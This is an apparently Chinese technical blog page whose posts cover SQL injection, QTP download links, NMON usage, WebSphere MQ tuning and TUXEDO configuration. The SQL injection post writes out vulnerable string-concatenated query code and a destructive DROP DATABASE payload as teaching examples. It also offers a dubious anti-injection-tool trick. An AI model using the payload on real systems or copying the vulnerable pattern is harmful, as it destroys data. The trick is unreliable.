SSN = Request.QueryString("SSN")
SqlQuery = "SELECT au_lname, au_fname FROM authors WHERE au_id = '" + SSN + "'"


    如果你有象上面这个片断一样的SQL编码,那么你的整个数据库和应用可以远程地被黑掉。怎么会呢?在普通情形下,用户会使用一个社会保险号码来访问这个网站,编码是象这样执行的:

' URL to the page containing the above code
http://mysite.com/listauthordetails.aspx?SSN=172-32-9999
' SQL Query executed against the database
SELECT au_lname, au_fname FROM authors WHERE au_id = '172-32-9999'


    这是开发人员预期的做法,通过社会保险号码来查询数据库中作者的信息。但因为参数值没有被正确地加码,黑客可以很容易地修改查询字符串的值,在要执行的值后面嵌入附加的SQL语句 。譬如,

' URL to the page containing the above code
http://mysite.com/listauthordetails.aspx?SSN=172-32-9999';DROP DATABASE pubs --
' SQL Query executed against the database
SELECT au_lname, au_fname FROM authors WHERE au_id = '';DROP DATABASE pubs --


    注意到没有,可以在SSN查询字符串值的后面添加“ ';DROP DATABASE pubs -- ”,通过 “;”字符来终止当前的SQL语句,然后添加了自己的恶意的SQL语句,然后把语句的其他部分用“--”字符串注释掉。因为是手工在编码里构造SQL语句,最后把这个字符串传给了数据库,数据库会先对authors表进行查询,然后把我们的pubs数据库删除。“砰(bang)”的一声,数据库就没了!

    万一你认为匿名黑客删除你的数据库的结果很坏,但不幸的是,实际上,这在SQL注入攻击所涉及的情形中算是比较好的。一个黑客可以不单纯摧毁数据,而是使用上面这个编码的弱点,执行一个JOIN语句,来获取你数据库里的所有数据,显示在页面上,允许他们获取用户名,密码,信用卡号码等等。他们也可以添加 UPDATE/INSERT 语句改变产品的价格,添加新的管理员账号,真的搞砸你(screw up your life)呢。想象一下,到月底检查库存时,发现你库房里的实际产品数与你的账目系统(accounting system)汇报的数目有所不同。

    如何防范SQL注入攻击

    SQL注入攻击是你需要担心的事情,不管你用什么web编程技术,再说所有的web框架都需要担心这个的。你需要遵循几条非常基本的规则:

    1)在构造动态SQL语句时,一定要使用类安全(type-safe)的参数加码机制。大多数的数据API,包括ADO和ADO.NET,有这样的支持,允许你指定所提供的参数的确切类型(譬如,字符串,整数,日期等),可以保证这些参数被恰当地escaped/encoded了,来避免黑客利用它们。一定要从始到终地使用这些特性。 

    例如,在ADO.NET里对动态SQL,你可以象下面这样重写上述的语句,使之安全: 

Dim SSN as String = Request.QueryString("SSN")
Dim cmd As new SqlCommand("SELECT au_lname, au_fname FROM authors WHERE au_id = @au_id")
Dim param = new SqlParameter("au_id", SqlDbType.VarChar)
param.Value = SSN
cmd.Parameters.Add(param)


    这将防止有人试图偷偷注入另外的SQL表达式(因为ADO.NET知道对au_id的字符串值进行加码),以及避免其他数据问题(譬如不正确地转换数值类型等)。注意,VS 2005内置的TableAdapter/DataSet设计器自动使用这个机制,ASP.NET 2.0数据源控件也是如此。 

    一个常见的错误知觉(misperception)是,假如你使用了存储过程或ORM,你就完全不受SQL注入攻击之害了。这是不正确的,你还是需要确定在给存储过程传递数据时你很谨慎,或在用ORM来定制一个查询时,你的做法是安全的。 

    2) 在部署你的应用前,始终要做安全审评(security review)。建立一个正式的安全过程(formal security process),在每次你做更新时,对所有的编码做审评。后面一点特别重要。很多次我听说开发队伍在正式上线(going live)前会做很详细的安全审评,然后在几周或几个月之后他们做一些很小的更新时,他们会跳过安全审评这关,推说,“就是一个小小的更新,我们以后再做编码审评好了”。请始终坚持做安全审评。

    3) 千万别把敏感性数据在数据库里以明文存放。我个人的意见是,密码应该总是在单向(one-way )hashed过后再存放,我甚至不喜欢将它们在加密后存放。在默认设置下,ASP.NET 2.0 Membership API 自动为你这么做,还同时实现了安全的SALT 随机化行为(SALT randomization behavior)。如果你决定建立自己的成员数据库,我建议你查看一下我们在这里发表的我们自己的Membership provider的源码。同时也确定对你的数据库里的信用卡和其他的私有数据进行了加密。这样即使你的数据库被人入侵(compromised)了的话,起码你的客户的私有数据不会被人利用。

    4)确认你编写了自动化的单元测试,来特别校验你的数据访问层和应用程序不受SQL注入攻击。这么做是非常重要的,有助于捕捉住(catch)“就是一个小小的更新,所有不会有安全问题”的情形带来的疏忽,来提供额外的安全层以避免偶然地引进坏的安全缺陷到你的应用里去。

    5)锁定你的数据库的安全,只给访问数据库的web应用功能所需的最低的权限。如果web应用不需要访问某些表,那么确认它没有访问这些表的权限。如果web应用只需要只读的权限从你的account payables表来生成报表,那么确认你禁止它对此表的 insert/update/delete 的权限。

    6)很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试(。

    可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。

    7)对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。

    第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。

    1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

    2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。

    3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。

    由于SQL注入攻击针对的是应用开发过程中的编程不严密,因而对于绝大多数防火墙来说,这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少,Wpoison对于用asp,php进行的开发有一定帮助...。

    查看(145) 评论(0) 收藏 分享 管理 

    测试工具下载地址 2009-03-13 15:37:29

    QTP,WR,LR的下载:

http://www.tomore.com/catalog/3_25/4.htm


官方下载:

http://downloads.mercury.com/cgi-bin/portal/download/index.jsp
QTP 9.2
http://esd.mercury.com/akdlm/trial/qtp/qtp92.zip


QTP相关的插件

http://esd.mercury.com/akdlm/trial/qtp/qtp92-net-addin.zip
http://esd.mercury.com/akdlm/trial/qtp/qtp-java-addin.zip
http://esd.mercury.com/akdlm/trial/qtp/qtp92-web-services.zip
http://esd.mercury.com/akdlm/trial/qtp/QTP82-visualage-addin.zip
http://esd.mercury.com/akdlm/trial/qtp/QTP82-peoplesoft-addin.zip
http://esd.mercury.com/akdlm/trial/qtp/QTP82-stingray-addin.zip
http://esd.mercury.com/akdlm/trial/qtp/QTP82-sap-addin.zip
http://esd.mercury.com/akdlm/trial/qtp/qtp82-oracle-addin.zip
http://esd.mercury.com/akdlm/trial/qtp/QTP80-te-addin.zip
http://esd.mercury.com/akdlm/trial/qtp/QTP80-siebel-addin.zip
http://support.mercury.com/downl ... elphiaddinbeta1.zip


    查看(186) 评论(1) 收藏 分享 管理 

    如何使用NMON在Linux下 2008-12-05 16:19:59

    本人用的RH9.0系统,现在已经有nmon工具

一 :安装如下:

unzip nmon_x86_11f.zip
chmod 777 nmon_x86_rhel2


二:如何使用

    命令

./nmon_x86_rhel2 -f -s 30 -c 120 >>Linux_$date_ip.nmon


    说明下:-f 输出文件;-s 时间间隔 ;-c 取的次数>>写到指定的文档中

三:分析文件

sftp


    put Linux_$date_ip.nmon 到本地

四:用nmon分析工具

    分析数据

    nmon_analysers来分析数据

    查看(542) 评论(2) 收藏 分享 管理 

    WebSphere MQ 性能调优浅谈(转IBM工程师) 2008-11-30 12:57:40

    目前随着我们在中国的WebSphere MQ(MQSeries)用户数量越来越多,越来越多的用户开始对MQ使用时的性能优化问题提出要求,希望能够更好地使用我们的产品,并尽可能的发挥它的 最大优势,这里,我根据日常积累的经验谈一谈在MQ性能优化方面应该考虑的因素。

    目前随着我 们在中国的WebSphere MQ(MQSeries)用户数量越来越多,越来越多的用户开始对MQ使用时的性能优化问题提出要求,希望能够更好地使用我们的产品,并尽可能的发挥它的 最大优势,这里,我根据日常积累的经验谈一谈在MQ性能优化方面应该考虑的因素。

    一、 与API 调用有关的MQ性能考虑因素

    这里,我们在讨论各个API对性能的影响时,均以C语言提供的API为例,其他开发语言与此类似。

    1 关于MQCONN/MQDISC的使用

    在MQ的13个函数中,MQCONN/MQDISC是最耗CPU的两个函数,其次是MQOPEN和MQCLOSE这两个函数,因此要尽量避免必要地重复使用这几个函数。比如,当您需要从队列中读取多条消息时,正确的编程方法应该如下:

    MQCONN

    MQOPEN

    MQGET

    .

    .

    .

    MQGET

    MQCLOSE

    MQDISC

    即:连接/断开队列管理器一次,打开/关闭队列一次,读取消息多次。而不应该反复建立与队列管理器的连接和反复进行队列打开/关闭操作。

    2 MQCONNX的使用

    通常,我们使用MQCONN这个函数建立与队列管理器的连接,除此之外,MQ支持trusted application binding,即fastpath binding,用MQCONNX来实现。当从性能方面考虑时,我们可以使用MQCONNX来提高性能。

    在 使用MQCONNX时,我们可以设置MQCNO(connect option)来指定连接方式。缺省情况下,该选项为MQCNO_STANDARD_BINDING,如果设置为 MQCNO_FASTPATH_BINDING,即表明采用fastpath binding方式连接队列管理器,这种应用称为trusted application。所谓的trusted application,是指该应用程序和本地队列管理器代理组成同一个进程,从而提高性能。利用fastpath binding不仅能够提高连接队列管理器的性能,同时也能够提高mqopen,mqclose的性能。

    3 消息大小对mqput, mqget函数耗时的影响

    尽量减小消息的大小,小消息的读取效率要高。对于mqget, mqput这两个函数而言,8k以下的消息的耗时差别不大,8k到128k的消息的耗时随着消息大小的增加而增加。大于128k的消息耗时较大,因为当与队列相关的内存满了的时候,会有硬盘交换。

    同时要注意,从传输效率而言,如果在广域网上进行消息传输,消息太小会影响传输效率,因为对于每一消息,MQ都会有一个消息头,它会占有一定的字节数,如果把消息拆分太小,每个消息的传输头都会占据一定的开销。

    4 对一个空队列的open,close 操作比非空队列的同样操作耗时要多。

    第一次open队列耗时比接下来的open 耗时要多,对本地队列和远程队列的open,close耗时基本相同。

    5 使用MQCMIT对消息进行批处理

    当处理一批消息时,可以采用MQCMIT函数,将若干消息作为一个完整的交易来处理,消息将作为一个batch统一提交,而不是一个个地分别提交,因此,可以提高性能。尤其对于永久性的消息效果更加明显。

    6 使用Distribution List 方式来把相同的消息发往不同的目的地

    大 家知道,MQ适用于不同类型的应用。不仅可以实现"点对点"的通讯,还通过DistributionList支持"多点广播"应用,即能够将消息发送到多 个目标站点。可以使用一个MQ函数调用将单一消息发送到多个目标站点,并确保为每一站点可靠地提供信息,减少了函数调用的个数。同时,MQ不仅提供了多点 广播的功能,而且还拥有智能消息分发功能,在将一条消息发送到同一系统上的多个用户或队列时,MQ可以将消息的一个复制版本和该系统上接收者的名单发送到 目标系统。目标系统在本地复制这些消息,并将它们发送到DistributionList上的队列,从而减少了网络的传输量。

    7 当向队列管理器仅发送一条消息时,使用MQPUT1函数。

    在MQ的13个函数中,MQPUT1实现了这样一种功能,即它合并了MQOPEN, MQPUT, MQCLOSE三个函数的功能,在打开队列并且只希望发送一条消息时,它的CPU消耗比上述三个函数相加要少。

    8 用match correlation ID的方法取消息比不匹配性能要差。

    1 消息的永久性和非永久性

    大 家知道,MQ的消息分为永久性消息和非永久性消息两种,永久性消息是保存在硬盘存储介质上的,需要纪录日志的;相反,非永久性消息是存储在内存中的,不需 要硬盘读写,因此使用非永久性消息的性能比永久性消息的性能要高很多,具体而言,最大可以提高近十倍。要注意的是,只有永久性消息的可靠性是可以保证的, 即在发生故障,如当系统重启或队列管理器重启时,可以保证不丢失。因此,应根据您的业务需求和网络状况来确定消息的属性。

    2 调整队列的相关参数设置:

    对 于队列而言,除了可以通过MQSC的"define queue"命令设置它的属性之外,有另外两个参数直接影响队列的性能,而这两个参数只有通过qm.ini文件进行设定。它们分别是:队列文件的大小 (Maximum amount of bytes in a queue)和为每一个队列的非永久性消息保留的内存大小(Maximum amount of memory reserved for non-persistent messages),它们的缺省值分别对应于DefaultQFileSize和DefaultQBufferSize这两个参数。

    队列的定义存储在硬盘上,并且在队列被打开时申请资源。我们可以设置队列DafaultQFileSize和DafaultQBufferSize两个参数来确定队列的定义参数,这些参数在队列管理器重启时生效,下面分别给予描述。

    1) 队列文件大小 

缺 省情况下,队列文件在硬盘上的大小最大是320M, 它会被预先分配195kb内存,这195kb内存会在队列打开时获得。队列文件的大小最大值可以达到1G bytes, 这可以通过设置DefaultQFileSize参数来设定,当其设为1G时,队列打开时会申请350kb内存。 

    2)非永久性消息对应的内存大小 

缺省 情况下,对每个队列而言,用来存储non-persistent消息的共享内存是64kb, 我们可以通过修改DafaultQBufferSize参数将其增加至1MB。在打开队列的时候,要申请如此数量的内存,因此它直接影响到队列管理器需要 的内存资源的大小,包括实存和虚存。推荐值是把该值设制成64kb的两倍,即128kb。永久性消息是存在硬盘上的,而非永久性消息是存在内存中的,当设 定的buffer不够时,要进行磁盘交换,速度就会减慢,把它扩大后,若不进行硬盘交换,读取队列的速度就会快。当然,对该参数的修改也取决于系统实际物 理内存的大小。 

    修改这两个参数的方法是更改队列管理器配置文件qm.ini的相关参数,具体方法举例如下:

    在qm.ini文件中增加如下一节:

TuningParameters:
DefaultQBufferSize=128000
DefaultQFileSize =1000000000


    3 队列的深度和队列上的消息的长度的设置也会影响性能。 

对 每一个队列而言,都会被分配一个设定的buffer size,当磁盘I/O很高时,说明队列的buffer size满了,从而产生了硬盘交换。每个消息的大小乘以队列的深度决定了队列上消息占内存的大小,可以增加队列的个数或者增加队列的buffer size来提高性能。 

    4 设置多个队列提高并行处理能力 

例如在总部,可以针对每一个分支机构设置一个队列,采用多个应用程序读取这些队列;对于同一个队列,也可以采用多个进程/线程同时进行读取操作。 

    三、与日志有关的MQ性能考虑因素:

    1 把MQ的log 和queue files 放在不同的文件系统上。即将/var/mqm/log, /var/mqm文件系统分开。

    在 安装MQ的时候,我们经常推荐大家创建两个文件系统,即/var/mqm/log和/var/mqm,为了提高MQ的性能,我们建议把这两个文件系统放在 不同的物理磁盘上,以提高磁盘I/O的效率。这是由于,在记录数据日志时,MQ会同时更新位于/var/mqm下的队列文件以及位于/var/mqm /log下的数据日志,因此建议把它们放在不同的物理盘上。

    2 扩大MQ的日志文件大小和个数

    在qm.ini配置文件中,有一小节是专门控制MQ的系统日志的,如下所示:

Log:
LogPrimaryFiles=3
LogSecondaryFiles=2
LogFilePages=1024
LogType=CIRCULAR
LogBufferPages=17
LogPath=/var/mqm/log/QM1


    其中,LogPrimaryFiles和LogSecondaryFiles指定了日志文件的个数,LogFilePages指定了每个日志文件的大小,LogBufferPages指定了日志缓冲区的大小,这些参数都可以影响MQ的性能。

    增大这些参数的设定值,可以提高性能。例如:假设您设计MQ的日志总容量为128MB,那麽,采用2个64MB的日志文件的性能,要优于采用24个4MB的日志文件。这是因为它减少了日志文件切换的次数和频率,尤其在AS/400系统上,更为显著。

    在 unix系统中,LogFilePages的缺省值为1024,即4MB,最大值为16384,即64MB。而Primary和Secondary日志文 件的总个数不能超过63个。为了提高性能,我们可以将LogFilePages和LogPrimaryFiles设置为较大的值,这可以通过MQ的控制命 令crtmqm来设置,方法如下: 

crtmqm -lf <LogFilePages> -lp <LogPrimaryFiles> -ls <LogSecondaryFiles>


    或者通过修改qm.ini文件来设置。 

    除 了物理日志文件的大小和个数之外,LogBufferPages代表日志缓冲区的大小,增大它的数值,也可以提高性能,如:可以把它的值设置为最大,即 512x4K pages=2MB,这样,在日志写盘操作时,可以一次将2MB的数据从缓冲区写入磁盘。修改LogBufferPages的方法是修改qm.ini文件 来实现。

    1. 选择侦听程序(Listener)的线程/进程运行方式:

    MQ 的侦听程序有两种配置和启动方式,一种是通过配置/etc/inetd.conf文件选择使用inetd方式, 也可以使用MQ自身提供的runmqlsr程序,所不同的是:runmqlsr 是一个线程应用,所以比inetd需要更少的内存消耗。因此,采用runmqlsr方式可以提高通道相关的性能。

    2. 选择通道的线程/进程运行方式

    与侦听程序类似,与MQ通道对应的MCA代理程序也可以有线程和进程两种运行方式,可以通过定义通道的MCATYPE属性来设置通道MCA的运行方式为thread方式。让通道以线程方式运行而非进程方式运行,这样可以减少通道运行的进程个数和消耗的内存资源。

    对于以上两点,要注意的是:当通道的连接个数很多时,如在Unix平台上超过500个时,建议MCATYPE和listener采用进程的方式。

    3. 设置侦听程序的trusted运行方式

    与 MQ应用程序类似,MQ的通道侦听程序也有trusted(fastpath)和non trusted(standard)两种运行方式,采用trusted运行方式可以降低CPU和内存消耗。将通道和侦听程序设置为trusted方式运行 的方法是通过修改qm.ini配置文件中的MQIBindType参数来实现,即创建或修改qm.ini文件中与Channels相关的小节,例如:

Channels:


    MQIBindType=FASTPATH 或者 

MQIBindType=STANDARD


    其中,FASTPATH表示trusted运行方式,而STANDARD表示非trusted运行方式。

    4. 加大通道的PipeLineLength属性

    从MQ版本V5.2开始,MQ提供了一个新的通道参数,即PipeLineLength属性,通过该属性,可以设置MCA采用多个线程的方式来传输消息,从而成为提高通道性能的又一个手段。缺省情况下,该参数数值为1,任何大于1的设置MQ本身都会将其设置为2。

    设置PipeLineLength的方法是修改qm.ini文件的Channels一节,如下:

Channels:
PipeLineLength=2


    注意,必须在通道两端都进行设置,否则会自动取两者之间的最小值。

    5. 设置MaxChannels和MaxActiveChannels属性

    MaxChannels 和MaxActiveChannels分别代表队列管理器允许配置的通道的最大个数和允许同时运行的通道的个数,MaxChannels的缺省值是 100,MaxActiveChannels的缺省值与MaxChannels相同。如果您的并发通道连接个数超过了100,您需要修改这两个参数。这对 于大并发的Client/Server间通讯尤为重要。

    6. 调整通道的Batchsz( )属性

    通道的Batchsz( )值是影响通道性能的一个关键参数。在MQ进行消息传输时,通道对消息的处理也是在同步点的控制之下并具有交易特性的,在以下条件满足时,它将统一提交一批消息: 

当发送的消息个数达到BATCHSZ时;或传输队列为空,并且在BATCHINT指定的时间间隔内一直没有消息到达时。 

    缺 省情况下,通道的Batchsz是50,这是一个较为合理和优化的设置。一个小的Batch size值会使每条消息占用大的资源。比如,假设我们在局域网的情况下,Batch size值越大,通道的性能越好。然而,在广域网环境下,要根据网络状况的好坏来设置该参数,若网络状况很差,Batch size值越大,可能会导致通道的性能越差。

    7. 推荐在两个队列管理器之间同方向上建立一条通道。

    8. 设置通道的NPMSPEED(FAST)属性。

    如前所述,MQ的消息分为永久性消息和非永久性消息两种,对于非永久性消息,通道属性NPMSPEED可以设置为FAST和NORMAL,为了提高性能,可以设定该属性为FAST。

    除 了队列、队列管理器日志大小、通道和API的使用和设置对MQ性能的影响之外,MQSeries的性能与系统的资源或性能息息相关,如系统的CPU, RAM, Disk (I/O), network等方面的配置会直接影响WebSphere MQ的性能,在此,就不一一列举了。

    查看(216) 评论(0) 收藏 分享 管理 

    TUXEDO ubbconfig 配置文件讲解(转) 2008-11-25 15:16:40

    TUXEDO应用系统的配置

3.1 TUXEDO应用系统的常见配置

配置文件UBBCONFIG介绍

一 个TUXEDO应用系统的所有资源都在一个文本文件中进行定义,该文件称为UBBCONFIG,在配置完成后,UBBCONFIG被编译成一个二进制的文 件TUXCONFIG.在TUXEDO系统启动时,从该文件中读取系统的配置信息。 UBBCONFIG文件类似WINDOWS下的*.INI文件。它包括以下9大部分, 我们称之为节,RESOURCES,MACHIENS,GROUPS

这三个节必须的,其他的节是可选的。

RESOURCES(必需): 与整个系统有关的配置信息

MACHINES(必需): 一个TUXEDO应用系统可以跨越多台服务器,在该节中配置与每台服务

器有关的信息

GROUPS(必需): TUXEDO中的服务可被分为多个组,在该节中配置与组有关的信息

SERVERS(可选): 与SERVER有关的信息在该节配置

SERVICES(可选): 与SERVICES有关的信息在该节配置

NETWORK(可选):与网络有关的信息在该节配置

ROUTING(可选) :路由规则在该节配置

NETGROUPS(可选):与网络分组有关的信息在该节配置

名称解释:

TUXEDO应用系统

一个TUXEDO应用系统包括服务端,客户端,服务端安装在服务器上,客户端一般安装在PC机上,从开发角度看,一个TUXEDO应用系统包括服务端程序,客户端程序,一个配置文件。此外,一个TUXEDO应用系统可以部署在一台服务器上,也可以部署在多台服务器上。

SERVER:


服 务端程序用C或COBAL编写,每一个程序文件编译成一个相应可执行文件,该可执行文件在运行时称为SERVER,它实际上就是一个进程。每个 SERVER都有一个名字,也就是该进程的名字。为与TUXEDO应用系统的服务端区分,我们在本书中,我们用SERVER表示该进程,用服务端表示 TUXEDO应用系统的服务端。

SERVICE:


在每个服务端程序中,主要是一个个的函数,在TUXEDO中称这些函数为SERVICE,一般

也称之为服务。在该SERVICE中实现业务逻辑,在客户端中调用这些SERVICE来实现各

种操作,如在前面的例子simpapp中, 服务端程序为simpserv.c,它编译成可执行文件

simperv, simpserv就是一个SERVER,该SERVER包括SERVICE:TOUPPER。

下面我们给出一个配置文件的例子:

*RESOURCES
IPCKEY 123456
MASTER simple
UID 0
GID 0
PERM 0666
MAXACCESSERS 100
DOMAINID simpapp
MODEL SHM
LDBAL Y
SCANUNIT 10
SANITYSCAN 12
BLOCKTIME 6
NOTIFY DIPIN
MAXCONV 10
*MACHINES
"MYSYS" LMID="simple"
TUXCONFIG="d:\tuxdemo\pbdemo\tuxconfig"
TUXDIR="d:\tuxedo65"
APPDIR="d:\tuxdemo\pbdemo"
TLOGDEVICE="d:\tuxdemo\pbdemo\TLOG"
TLOGNAME="TLOG"
TLOGSIZE=100
MAXWSCLIENTS=5
CMPLIMIT="MAXLONG,MAXLONG"
NETLOAD=0
SPINCOUNT=0
MAXACLCACHE=100
*GROUPS
"GROUP1" LMID="simple" GRPNO=1
OPENINFO="Oracle_XA:Oracle_XA+Acc=P/scott/tiger+SesTm=600+MaxCur=5+LogDir=."
TMSNAME="TMS_ORA8i"
TMSCOUNT=2
*SERVERS
DEFAULT:
CLOPT="-A"
"simpserv" SRVGRP="GROUP1" SRVID=1
CLOPT="-A"
RQADDR="simpserv"
RQPERM=0660 REPLYQ=Y RPPERM=0660 MIN=5 MAX=5 CONV=N
MAXGEN=1 GRACE=86400 RESTART=N
"WSL" SRVGRP="GROUP1" SRVID=1116
CLOPT="-A -- -n //MYSERVER:8888 -m 2 -M 5 -x 6"
*SERVICES
"TOUPPER"
LOAD=50 PRIO=50
BUFTYPE="ALL"
TRANTIME=30
AUTOTRAN=N
*ROUTING


各节之间的包含关系:

从上到下,是一对多的关系,即:一个TUXEDO系统可以跨越多台服务器,一台服务器上可以有多个GROUP,但一个GROUP只能在一台服务器上,一个GROUP中可以有多个SERVER,一个SERVER中可以有多个SERVICE。

下面我们分别对每个节种具体的常见配置进行说明,NETWORK,NETGROUP,ROUTING三节及其他比较高级的配置我们在后面的内容中说明

RESOURCES(必需):


该节是必须的,在这里配置与整个TUXEDO应用系统有关的信息,主要包括:

IPCKEY: TUXEDO使用它标识公告板及其他的IPC资源。它不能与该服务器上其他的IPC资源的ID号冲突范围:32,769-262,142

MASTER: 指定该TUXEDO应用系统的MASTER服务器,在该服务器上对整个TUXEDO系

统进行管理配置,可以为该MASTER服务器指定一台备份服务器,当该MASTER

服务器当机时,可从BACKUP服务器上进行管理。在进行系统迁移时,也要指定

BACKUP服务器。

DOMAINID:该TUXEDO应用系统的唯一标识

UID, GID, PERM:这三个参数控制对系统IPC资源的存取权限

UID: 可对该TUXEDO应用系统进行管理的TUXEDO系统管理员的用户ID,在UNIX下

就是UNIX系统的用户ID,默认为执行TMLOADCF的用户的ID。在NT下该设置

没有用,要设为0。

GID: 在UNIX下为UID中所指定的用户所在的组ID,在NT下该设置没有用,要设为0

PERM: 指定对TUXEDO系统IPC资源的存取权限。默认值为0666,即任何人都可以对该IPC资源进行存取。

MAXACCESSERS,MAXSERVERS,MAXSERVICES:这三个参数控制该TUXEDO应用系统对IPC资源的使用情况。

MAXACCESSERS: 在本系统的一个节点(一台服务器)上,同时可以有多少个进程可以访问

该TUXEDO系统的公告板,默认值为50,它包括本地客户端进

程,SERVER进程,但不包括管理进程如:BBL,DBBL等

MAXSERVERS: 在本系统中,总共可以有多少个SERVER存在,包括进行管理的SERVER,

如:BBL,TMS等。默认值为50。

MAXSERVICES: 在本系统中,总共可以有多少个SEVICE存在, 默认值为100。 

TUXEDO应用系统的部署方式:

一个TUXEDO应用系统可能部署在一台服务器上或多台服务器上,也可能是部署在共用一块全局共享内存的几台服务器上,可在MODEL,OPTIONAS中配置该TUXEDO应用系统的部署模式。

MODLE:


    SHM: 单机或多台服务器但共用一个全局共享内存

    MP: 多台服务器但没有共用一个全局共享内存

OPTION: LAN: 是多机(MP)部署模式

    MIGRATE: 可对该系统进行迁移

TUXEDO的管理进程BBL定时对它所在的服务器上的TUXEDO系统进行检查,检查超时的事务,超时的客户端连接等。

SCANUNIT: 指定检查的最小时间单位,它单位为秒,必须是5的倍数。 默认值为10,即10

秒。

SANTIYSCAN: 每隔多少个SCANUNIT检查一次, SANITYSCAN*SCANUNIT不能大于

300秒。默认值为12,即120秒

BLOCKTIME: 指定一个消息可以阻塞多长时间,如果过了SANITYSCAN*SCANUNIT秒该

消息还没有发送出去,将超时出错。 SANITYSCAN*SCANUNIT不能大于

32767秒。默认值为6,即60秒。

同步调用的超时说明

对同步调用TPCALL,指从TPCALL()开始调用,到SERVER端的返回结果到到该客户端并写到输入缓冲区这一段时间。包括:

客户端开始调用TPCALL()

把数据通过网络发送到SERVER端

SERVER端的处理时间

SERVER端把处理结果通过网络返回给客户端

客户端TPCALL()调用返回

异步调用和会话方式的超时说明

对 异步调用和会话方式,当一个进程调用TPACALL(),TPCONNECT(),TPSEND()时,超时时间只包括如果接收队列满时,这些调用的等待 时间,如在TPACALL()中,所调用的SERVICE的接收队列如果满了,那么TPACALL()可阻塞在那里,直到该队列不满,可以接收该 TPACALL()发送的请求。从TPACALL()开始阻塞到TPACALL()返回这段时间为它的超时时间。

对TPGETRPLY(),TPRECV()的超时时间是指如果要接收的队列为空时,它们应该阻塞在那里等待有消息到来的时间。

如:超时时间为60秒, 一点整调用TPGETRPLY()从接收的队列取消息,这时接收队列为空,如果到了一点零一分该接受队列还为空,那么TPGETRPLY()将超时出错。

LDBAL: 要不要进行负载均衡,Y:要,N:不要,默认值为不要

MAXCONV: 在一台服务器上最多可以有多少个会话同时存在。范围:0-32768,默认值为10

NOTIFY : 设置消息的通知方式,有以下3种:默认为DIPIN

IGNORE: 该TUXEDO系统中的CLIENT不接收任何消息

SIGNAL: 用SIGUSR1,SIGUSR2信号通知CLIENT有消息到来,如果在非UNIX平台上设

置采用该方式,那么会被自动转化为DIPIN方式。

DIPIN: 当CLIENT调用ATMI函数时,顺便检查看是否有消息,如果有就发送给该

CLIENT默认值为DIPIN

*MACHINES(必需):


该TUXEDO应用系统所包含的每台服务器都要在该节中进行配置

LMID: 在TUXEDO,要为该应用系统中的每台服务器指定一个逻辑服务器名。如在上面的例子中,TUXEDO应用服务器MYSYS对应的逻辑服务器名为:simple,

TUXEDO应用服务器名的查看方法: 

    1. 在UNIX下用uname -n 查看SERVER的名字,

    2. 在NT,WIN2000下用ECHO %COMPUTERNAME$查看SERVER的名字

注意:如果SERVER的名字太长(>8)或含有“.”等可以" "引起来,如: "DEMOSERVER.COM"

TUXCONFIG: 配置文件TUXCONFIG所在的路径

TUXDIR: TUXEDO的安装目录

APPDIR: TUXEDO应用系统所在的目录

注意:TUXCONFIG,TUXDIR,APPDIR的值要与它们在环境变量中的设置的值一样

ENVFILE: 该服务器上与TUXEDO有关的环境变量(如FIELDTBLS等)可以放到一个文件中,在ENVFILE中指定该文件名。

TYPE: 指定该服务器的类型,当两台服务器的TYPE不一样时,在它们之间传送数据时要进行

编码/解码工作

ULOGPFX: 指定ULOG文件所在的目录及前缀。默认目录为$APPDIR,前缀为ULOG。

UID,GID,PERM,MAXACCESSERS,MAXCONV这些在RESOURCES中的配置,在MACHINES中可以被重新配置,并且这些新的配置值会覆盖在RESOURCES中的配置值。

*GROUPS(必需):


在TUXEDO中,要对SERVER进行分组,配置GROUP主要有三个目的,

1. 因为GROUP与数据库之间是一对一的关系,在一TUXEDO应用系统中,如果有多个数据库,就要配置多个GROUP,在该GROUP中配置TUXEDO与数据库的连接参数等。

2. 数据依赖路由是以GROUP为单位的。

3. 进行系统迁移时也时以GROUP为单位的一个GROUP有一个名字,还有一个GROUP 

ID,GROUP的名字和GROUP ID在一个TUXEDO系统中必须唯一。

每个GROUP要指定该GROUP所在的服务器,及它的ID号,如果该GROUP中的SERVER

要与数据库或其他的资源管理器相连,那么要在OPENINFO中设置连接的参数。具体的配置我们在讲数据库编程时再说明。

*SERVERS:


该系统所包含的所有的SERVER都在该节进行配置。

在DEFAULT中的设置对所有的SERVER起作用。

SRVGRP: 该SERVER所在的GROUP

SRVID: 该SERVER所对应的ID,在一个GROUP中必须唯一

MIN: 该SERVER最少启动的进程数

MAX: 该SERVER最多可启动的进程数

RESTART,RCMD,MAXGEN,GRACE: 在TUXEDO系统了,当一个SERVER进程因某中原因死掉时,可设置它可以自动重起,这4个参数指定TUXEDO的重起信息。 

RESTART 该进程死掉时是否可以自动重起,默认为N(不可以)

GRACE,MAXGEN:在GRACE秒内,该进程最多可以重启MAXGEN次。

RCMD: 指定该SERVER重启时,要执行的一个可执行文件名

注意:

1. 为了使一个SERVER可以自动重起,光设置了RESTART=Y还不够,还要设置

GRACE,MAXGEN才能在该SERVER死掉时,自动重起,

2. 该SERVER能够被自动重起的一个前提条件时它还没有被从BULLITION BOARD中清

除。

例子:

test SRVGRP=GROUP1 SRVID=1 RESTART=Y GRACE=100000 MAXGEN=255


该设置指定在100000秒的时间内,SERVER进程:test可以启动255次。 

